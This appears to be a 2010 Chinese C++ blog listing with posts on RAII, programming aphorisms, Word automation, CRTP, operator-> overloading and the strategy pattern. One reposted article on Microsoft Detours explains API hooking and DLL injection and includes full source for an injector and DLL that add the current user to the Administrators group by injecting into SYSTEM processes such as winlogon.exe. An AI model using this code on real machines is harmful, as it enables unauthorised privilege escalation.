RAII是什么？來源于金慶的專欄

摘自《Extended STL》中譯

RAII：資源獲取即初始化

資源獲取即初始化（RAII, Resource Acquisition Is Initialization）是指，當(dāng)你獲得一個(gè)資源的時(shí)候，不管這個(gè)資源是對(duì)象、內(nèi)存、文件句柄或者其它什么，你都會(huì)在一個(gè)對(duì)象的構(gòu)造函數(shù)中獲得它，并且在該對(duì)象的析構(gòu)函數(shù)中釋放它。實(shí)現(xiàn)這種功能的類，我們就說它采用了"資源獲取即初始化（RAII）"的方式。這樣的類常常被稱為封裝類。

可以依據(jù)資源可變性和資源來源這兩個(gè)特征，來對(duì)RAII進(jìn)行分類。

資源可變性

如果一個(gè)封裝類對(duì)其實(shí)例提供額外的功能，使得其實(shí)例能被賦予新資源，這個(gè)類表現(xiàn)出的這種特征即稱為"可變的RAII"，否則就是"不可變的RAII"。

不可變的RAII，是使用起來最簡(jiǎn)單的一種。說它簡(jiǎn)單，是因?yàn)樵谶@種情況下，無需在封裝類中提供用于指定資源的方法--不管是新分配的資源，還是對(duì)其他資源進(jìn)行拷貝。這種RAII還意味著，類的析構(gòu)函數(shù)總是可以假定，被封裝的資源是有效的。

與此相反，提供可變的RAII的類，就需要實(shí)現(xiàn)下列功能中的絕大部分，或者全部：缺省的或者空的構(gòu)造函數(shù)，拷貝構(gòu)造函數(shù)，拷貝賦值操作，用于指定資源的方法。最重要的是，這樣的類在析構(gòu)函數(shù)和任何類似close()的方法中，釋放資源前，都必須檢測(cè)被封裝的資源是不是null。

資源來源

對(duì)于提供RAII的類來說，第二個(gè)重要的特征是，它們通過什么途徑獲取自己所管理的資源。以std::string為代表的類，使用的是內(nèi)部初始化的RAII：它管理的資源--即內(nèi)存中用于保存字符的緩沖區(qū)--是由它自己創(chuàng)建的，這一資源對(duì)外永遠(yuǎn)是不可見的。與此不同的是，以std::auto_ptr為代表的類表現(xiàn)出外部初始化的RAII行為：它所管理的資源，是使用它的客戶程序（通過另外的某種方式獲得之后）交給它的。

內(nèi)部初始化的RAII的封裝類，一般比較容易實(shí)現(xiàn)，但是功能上也比較受限制，因?yàn)樗鼈儷@取資源的機(jī)制是預(yù)先定義好的，并且是固定不變的。不過，這樣的類用起來也容易一些，或者說，比較難被誤用：因?yàn)榭蛻舸a幾乎沒有機(jī)會(huì)犯下能導(dǎo)致資源泄露的錯(cuò)誤。

posted @ 2010-11-06 17:30 codeArt 閱讀(762) | 評(píng)論 (0) | 編輯 收藏

編程法則(轉(zhuǎn)自oschina.net)有意思

1. 任何程序一旦部署即顯陳舊。
2. 修改需求規(guī)范來適應(yīng)程序比反過來做更容易。
3. 一個(gè)程序如果很有用，那它注定要被改掉。
4. 一個(gè)程序如果沒用，那它一定會(huì)有很好的文檔。
5. 任何程序里都僅僅只有10%的代碼會(huì)被執(zhí)行到。
6. 軟件會(huì)一直膨脹到耗盡所有資源為止。
7. 任何一個(gè)有點(diǎn)價(jià)值的程序里都會(huì)有至少一個(gè)bug。
8. 原型完美的程度跟審視的人數(shù)成反比，反比值會(huì)隨著涉及的資金數(shù)增大。
9. 軟件直到被變成產(chǎn)品運(yùn)行至少6個(gè)月后，它最嚴(yán)重的問題才會(huì)被發(fā)現(xiàn)。
10. 無法檢測(cè)到的錯(cuò)誤的形式無限多樣，而能被檢測(cè)到的正好相反，被定義了的十分有限。
11. 修復(fù)一個(gè)錯(cuò)誤所需要投入的努力會(huì)隨著時(shí)間成指數(shù)級(jí)增加。
12. 軟件的復(fù)雜度會(huì)一直增加，直到超出維護(hù)這個(gè)程序的人的承受能力。
13. 任何自己的程序，幾個(gè)月不看，形同其他人寫的。
14. 任何一個(gè)小程序里面都有一個(gè)巨大的程序蠢蠢欲出。
15. 編碼開始的越早，花費(fèi)的時(shí)間越長。
16. 一個(gè)粗心的項(xiàng)目計(jì)劃會(huì)讓你多花3倍的時(shí)間去完成；一個(gè)細(xì)心的項(xiàng)目計(jì)劃只會(huì)讓你多花2倍的時(shí)間。
17. 往大型項(xiàng)目里添加人手會(huì)使項(xiàng)目更延遲。
18. 一個(gè)程序至少會(huì)完成90%，但永遠(yuǎn)完成不了超過95%。
19. 如果你想麻煩被自動(dòng)處理掉，你得到的是自動(dòng)產(chǎn)生的麻煩。
20. 開發(fā)一個(gè)傻瓜都會(huì)使用的軟件，只有傻瓜愿意使用它。
21. 用戶不會(huì)真正的知道要在軟件里做些什么，除非使用過。

posted @ 2010-09-30 23:42 codeArt 閱讀(260) | 評(píng)論 (0) | 編輯 收藏

c++操作word接口

注意事項(xiàng)：1多用Range，少用Selection，因?yàn)閃ord中，Selection對(duì)象只有一個(gè)。
【1】開啟word
【2】新建一個(gè)文檔
【3】設(shè)置文檔的頁面布局
【4】插入文本
【5】插入文本框
【6】文本框中插入文本
【7】設(shè)置文本框的屬性
【8】插入圖片，這里需要注意，必須得先用InlineShape,這樣可以把圖片插入到指定的頁中，不然，所有的圖片只在第一頁。
【9】插入直線
【10】插入分隔符

【11】設(shè)置欄目個(gè)數(shù)和欄目的寬度
這里一定要注意add函數(shù)的邏輯
【12】插入表格
【13】保存文檔并退出
在word優(yōu)秀的構(gòu)架中還有許許多多的接口，上面只是舉例實(shí)現(xiàn)一個(gè)普通的文檔，希望對(duì)大家有用。

posted @ 2010-08-31 19:35 codeArt 閱讀(9100) | 評(píng)論 (4) | 編輯 收藏

C++的繼承

 

 

posted @ 2010-08-31 01:32 codeArt 閱讀(352) | 評(píng)論 (0) | 編輯 收藏

關(guān)于Detours[轉(zhuǎn)]

Detours是微軟開發(fā)的一個(gè)函數(shù)庫（源代碼可在http://research.microsoft.com/sn/detours 免費(fèi)獲得）, 用于修改運(yùn)行中的程序在內(nèi)存中的影像，從而即使沒有源代碼也能改變程序的行為。具體用途是：

攔截WIN32 API調(diào)用，將其引導(dǎo)到自己的子程序，從而實(shí)現(xiàn)WIN32 API的定制。
為一個(gè)已在運(yùn)行的進(jìn)程創(chuàng)建一新線程，裝入自己的代碼并運(yùn)行。
本文將簡(jiǎn)介Detours的原理，Detours庫函數(shù)的用法， 并利用Detours庫函數(shù)在Windows NT上編寫了一個(gè)程序，該程序能使有“調(diào)試程序”的用戶權(quán)限的用戶成為系統(tǒng)管理員，附錄利用Detours庫函數(shù)修改該程序使普通用戶即可成為系統(tǒng)管理員（在NT4 SP3上）。

一． Detours的原理

1． WIN32進(jìn)程的內(nèi)存管理

總所周知，WINDOWS NT實(shí)現(xiàn)了虛擬存儲(chǔ)器，每一WIN32進(jìn)程擁有4GB的虛存空間， 關(guān)于WIN32進(jìn)程的虛存結(jié)構(gòu)及其操作的具體細(xì)節(jié)請(qǐng)參閱WIN32 API手冊(cè)， 以下僅指出與Detours相關(guān)的幾點(diǎn)：

(1) 進(jìn)程要執(zhí)行的指令也放在虛存空間中
(2) 可以使用QueryProtectEx函數(shù)把存放指令的頁面的權(quán)限更改為可讀可寫可執(zhí)行，再改寫其內(nèi)容，從而修改正在運(yùn)行的程序
(3) 可以使用VirtualAllocEx從一個(gè)進(jìn)程為另一正運(yùn)行的進(jìn)程分配虛存，再使用 QueryProtectEx函數(shù)把頁面的權(quán)限更改為可讀可寫可執(zhí)行，并把要執(zhí)行的指令以二進(jìn)制機(jī)器碼的形式寫入，從而為一個(gè)正在運(yùn)行的進(jìn)程注入任意的代碼

2． 攔截WIN32 API的原理

Detours定義了三個(gè)概念：

(1) Target函數(shù)：要攔截的函數(shù)，通常為Windows的API。
(2) Trampoline函數(shù)：Target函數(shù)的復(fù)制品。因?yàn)镈etours將會(huì)改寫Target函數(shù)，所以先把Target函數(shù)復(fù)制保存好，一方面仍然保存Target函數(shù)的過程調(diào)用語義，另一方面便于以后的恢復(fù)。
(3) Detour 函數(shù)：用來替代Target函數(shù)的函數(shù)。

Detours在Target函數(shù)的開頭加入JMP Address_of_ Detour_ Function指令（共5個(gè)字節(jié)）把對(duì)Target函數(shù)的調(diào)用引導(dǎo)到自己的Detour函數(shù)， 把Target函數(shù)的開頭的5個(gè)字節(jié)加上JMP Address_of_ Target _ Function+5作為Trampoline函數(shù)。例子如下：

攔截前：Target _ Function：
；Target函數(shù)入口，以下為假想的常見的子程序入口代碼
push   ebp
mov   ebp,   esp
push   eax
push   ebx
Trampoline:
；以下是Target函數(shù)的繼續(xù)部分
……

攔截后： Target _ Function：
jmp   Detour_Function
Trampoline:
；以下是Target函數(shù)的繼續(xù)部分
……

Trampoline_Function:
; Trampoline函數(shù)入口, 開頭的5個(gè)字節(jié)與Target函數(shù)相同
push   ebp
mov   ebp,   esp
push   eax
push   ebx
；跳回去繼續(xù)執(zhí)行Target函數(shù)
jmp   Target_Function+5
3． 為一個(gè)已在運(yùn)行的進(jìn)程裝入一個(gè)DLL

以下是其步驟：

(1) 創(chuàng)建一個(gè)ThreadFuction，內(nèi)容僅是調(diào)用LoadLibrary。
(2) 用VirtualAllocEx為一個(gè)已在運(yùn)行的進(jìn)程分配一片虛存，并把權(quán)限更改為可讀可寫可執(zhí)行。
(3) 把ThreadFuction的二進(jìn)制機(jī)器碼寫入這片虛存。
(4) 用CreateRemoteThread在該進(jìn)程上創(chuàng)建一個(gè)線程，傳入前面分配的虛存的起始地址作為線程函數(shù)的地址，即可為一個(gè)已在運(yùn)行的進(jìn)程裝入一個(gè)DLL。通過DllMain 即可在一個(gè)已在運(yùn)行的進(jìn)程中運(yùn)行自己的代碼。

二． Detours庫函數(shù)的用法

因?yàn)镈etours軟件包并沒有附帶幫助文件，以下接口僅從剖析源代碼得出。

1． PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction)

功能：從一DLL中找出一函數(shù)的入口地址
參數(shù)：pszModule是DLL名，pszFunction是函數(shù)名。
返回：名為pszModule的DLL的名為pszFunction的函數(shù)的入口地址
說明：DetourFindFunction除使用GetProcAddress外，還直接分析DLL的文件頭，因此可以找到一些GetProcAddress找不到的函數(shù)入口。

2． DETOUR_TRAMPOLINE(trampoline_prototype, target_name)
功能：該宏把名為target_name 的Target函數(shù)生成Trampoline函數(shù)，以后調(diào)用 trampoline_prototype在語義上等于調(diào)用Target函數(shù)。

3． BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE pbDetour)
功能：用Detour 函數(shù)攔截Target函數(shù)
參數(shù)：pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype，pbDetour是 Detour 函數(shù)的入口地址。

4． BOOL WINAPI DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE pbDetour)
功能：恢復(fù)Target函數(shù)
參數(shù)：pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype，pbDetour是 Detour 函數(shù)的入口地址。

5． BOOL WINAPI ContinueProcessWithDll(HANDLE hProcess, LPCSTR lpDllName)
功能：為一個(gè)已在運(yùn)行的進(jìn)程裝入一個(gè)DLL
參數(shù)：hProcess是進(jìn)程的句柄，lpDllName是要裝入的DLL名

三． 程序?qū)嵗?br style="LINE-HEIGHT: normal">
以一個(gè)能使有“調(diào)試程序”的用戶權(quán)限的用戶成為系統(tǒng)管理員的程序做例子說明Detours 庫函數(shù)的用法。程序的設(shè)計(jì)思路是找一個(gè)以System帳號(hào)運(yùn)行的進(jìn)程，如spoolss.exe, rpcss.exe, winlogon.exe, service.exe等，使用ContinueProcessWithDll在其中注入把當(dāng)前用戶加入到 Administrators本地組的DLL，因?yàn)樵揇LL在這些進(jìn)程的安全上下文環(huán)境運(yùn)行，所以有相應(yīng)的權(quán)限。

先編寫相應(yīng)的DLL：

/*admin.dll, 當(dāng)進(jìn)程裝入時(shí)會(huì)把名為szAccountName
的用戶加入到Administrators本地組。*/

#include
#include
#include
#include

/*以下創(chuàng)建一共享段實(shí)現(xiàn)進(jìn)程間的數(shù)據(jù)通訊，
szAccountName 是用戶名，bPrepared說明
szAccountName是否已初始化。*/

#pragma data_seg(".MYSHARE")
BOOL bPrepared=FALSE;
wchar_t szAccountName[100]={0};
#pragma data_seg()

#pragma comment(linker, "/SECTION:.MYSHARE,RWS")

/*程序調(diào)用SetAccountName設(shè)置要加入到Administrators
本地組的用戶名，并通知DllMain
已初始化szAccountName ，
以后被裝入時(shí)可調(diào)用ElevatePriv */

__declspec(dllexport) VOID WINAPI
SetAccountName(wchar_t *Name)
{
    wcscpy(szAccountName,Name);
    bPrepared=TRUE;
}

/*把名為szAccountName的用戶加入
到Administrators本地組*/

__declspec(dllexport) VOID WINAPI ElevatePriv()
{
    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname=szAccountName;
    NetLocalGroupAddMembers(NULL,L"Administrators",
        3,(LPBYTE)&account,1);
}

__declspec(dllexport) ULONG WINAPI
DllMain(HINSTANCE hInstance,
        DWORD dwReason, PVOID lpReserved)
{
    switch (dwReason) {
   case DLL_THREAD_ATTACH:
       if (bPrepared)
           ElevatePriv();
    }
    return TRUE;
}

程序如下：

/*AddMeToAdministrators.exe 把當(dāng)前用戶加入到
Administrators本地組。使用方法為：（1）
運(yùn)行任務(wù)管理器找到spoolss.exe或rpcss.exe或winlogon.exe或sevice.exe的進(jìn)程ID （2）執(zhí)行AddMeToAdministrators.exe procid, 其中procid為（1）記下的進(jìn)程ID （3）簽退再簽到，運(yùn)行用戶管理器，即可發(fā)現(xiàn)自己已在Administrators本地組中。*/

#include
#include
#include
#include
#include

extern VOID WINAPI SetAccountName(wchar_t *Name);

/* GetCurrentUser得到自己的用戶名稱*/

void GetCurrentUser(wchar_t *szName)
{
    HANDLE hProcess, hAccessToken;
    wchar_t InfoBuffer[1000],szAccountName[200],
        szDomainName[200];
    PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
    DWORD dwInfoBufferSize,dwAccountSize = 200,
        dwDomainSize = 200;
    SID_NAME_USE snu;

    hProcess = GetCurrentProcess();

    OpenProcessToken(hProcess,TOKEN_READ,&hAccessToken);

    GetTokenInformation(hAccessToken,TokenUser,
        InfoBuffer,
        1000, &dwInfoBufferSize);

    LookupAccountSid(NULL, pTokenUser->User.Sid,
        szAccountName,
        &dwAccountSize,szDomainName, &dwDomainSize, &snu);
    wcscpy(szName,szDomainName);
    wcscat(szName,L"\");
        wcscat(szName,szAccountName);
}

/* EnablePrivilege啟用自己的“調(diào)試程序”的用戶權(quán)限*/

BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable)
{
    HANDLE hToken;
    if (!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES, &hToken))
        return FALSE;
    TOKEN_PRIVILEGES tp;
    tp.PrivilegeCount = 1;
    LookupPrivilegeValue(NULL, szPrivName,
        &tp.Privileges[0].Luid);
    tp.Privileges[0].Attributes = fEnable ?
SE_PRIVILEGE_ENABLED : 0;
    AdjustTokenPrivileges(hToken, FALSE, &tp,
        sizeof(tp), NULL, NULL);
    return((GetLastError() == ERROR_SUCCESS));
}

int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev,
                   LPSTR lpszCmdLine, int
                   nCmdShow)
{
    INT argc;
    WCHAR **argv;
    argv = CommandLineToArgvW(GetCommandLineW(),
        &argc);
    INT nProcessId = -1;
    if (argc!=2){
        wprintf(L"usage %s pid", argv[0]);
        return 1;
    }
    nProcessId = _wtoi(argv[1]);
    printf("%d ",nProcessId);
    /*要成功執(zhí)行ContinueProcessWithDll，要對(duì)winlogon.exe等進(jìn)程的進(jìn)程句柄有讀寫存儲(chǔ)器內(nèi)容和創(chuàng)建線程的權(quán)限，EnablePrivilege使本進(jìn)程有這樣的權(quán)利。*/

    if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)){
        printf("AdjustTokenPrivilege Fail %u ",
            (UINT)GetLastError());
        return 1;
    }
    HANDLE   gNewHandle =
        OpenProcess(PROCESS_ALL_ACCESS
        , TRUE, nProcessId);
    if (!gNewHandle){
        printf("OpenProcess Fail %u ",
            (UINT)GetLastError());
        return 1;
    }
    wchar_t szName[100];
    GetCurrentUser(szName);
    SetAccountName(szName);
    If (!ContinueProcessWithDll(gNewHandle,
        L"c:\temp\admin.dll")) {
            printf("ContinueProcessWithDll failed %u",
                (UINT)GetLastError());
            return 3;
    }
    return 0;
}
因?yàn)?#8220;調(diào)試程序”的用戶權(quán)限缺省情況下僅賦予給管理員，因此并不會(huì)造成安全漏洞。但該程序揭示出“調(diào)試程序”的用戶權(quán)限其實(shí)是至高無上的用戶權(quán)限，只能授予給可信用戶。

四． 結(jié)論      Detours是一強(qiáng)大的工具，提供了簡(jiǎn)單易用的函數(shù)接口來攔截WIN32 API調(diào)用和為一個(gè)已在運(yùn)行的進(jìn)程裝入一個(gè)DLL。

posted @ 2010-08-29 23:08 codeArt 閱讀(638) | 評(píng)論 (0) | 編輯 收藏

QT中的插件

     摘要:   QT有著獨(dú)特的插件管理方法便于使用,調(diào)理清晰.完全可以替代WIN32下的動(dòng)態(tài)庫,靜態(tài)庫.不過,QT也支持動(dòng)態(tài)庫和靜態(tài)庫加載 .見QLibrary,最終,QLibrary調(diào)用WIN32下的LoadLibrary,GetProcAddress函數(shù). Qt插件的使用方法: [1]project_main_1工程中定義接口 class interface__1{publ...  閱讀全文

posted @ 2010-08-28 19:56 codeArt 閱讀(5740) | 評(píng)論 (0) | 編輯 收藏

努力,從現(xiàn)在開始

之前寫blog只是備忘,看了一些很好的技術(shù)文章之后,很是羨慕.從現(xiàn)在開始,好好的維護(hù)這個(gè)blog啦.

posted @ 2010-08-28 16:15 codeArt 閱讀(218) | 評(píng)論 (0) | 編輯 收藏

用在COM中，類行為比較怪異的代碼

#include <iostream>

using namespace std;

template <typename T>
class Base {
public:
	void fun() {
		cout << "Base::fun" << endl;
	}

	void doSomething() {
		T* pT = static_cast<T*>(this);
		pT->fun();
	}
};

class Drive : public Base<Drive> {
public:
	void fun() {
		cout << "Drive::fun" << endl;
	}
};

class MostDrive : public Drive {
public:
	void fun() {
		cout << "MostDrive::fun" << endl;
	}
};

int main() {
	MostDrive obj;
	obj.doSomething();

	return 0;
}

posted @ 2010-08-27 21:02 codeArt 閱讀(321) | 評(píng)論 (0) | 編輯 收藏

c++重載->

#include <iostream>

using namespace std;

class Inner {
public:
	void Fun() {
		cout << "Inner::Fun" << endl;
	}
};

class Outer {
private:
	Inner* m_pInner;

public:
	Outer(Inner* p_pInner) : m_pInner(p_pInner) {
	}

	Inner* operator -> () {
		return m_pInner;
	}
};

int main() {
	Inner objInner;
	Outer objOuter(&objInner);

	objOuter->Fun();

	return 0;
}

posted @ 2010-08-27 20:46 codeArt 閱讀(223) | 評(píng)論 (0) | 編輯 收藏

策略模式c++表述備忘

#include <iostream>

using namespace std;

class Round1 {
public:
	void Play() {
		cout << "Round1::Play" << endl;
	}
};

class Round2 {
public:
	void Play() {
		cout << "Round2::Play" << endl;
	}
};

template <typename T>
class Strategy {
private:
	T objT;
public:
	void Play() {
		objT.Play();
	}
};

int main() {
	Strategy<Round1> obj1;
	Strategy<Round2> obj2;

	obj1.Play();
	obj2.Play();

	return 0;
}

posted @ 2010-08-27 20:43 codeArt 閱讀(312) | 評(píng)論 (0) | 編輯 收藏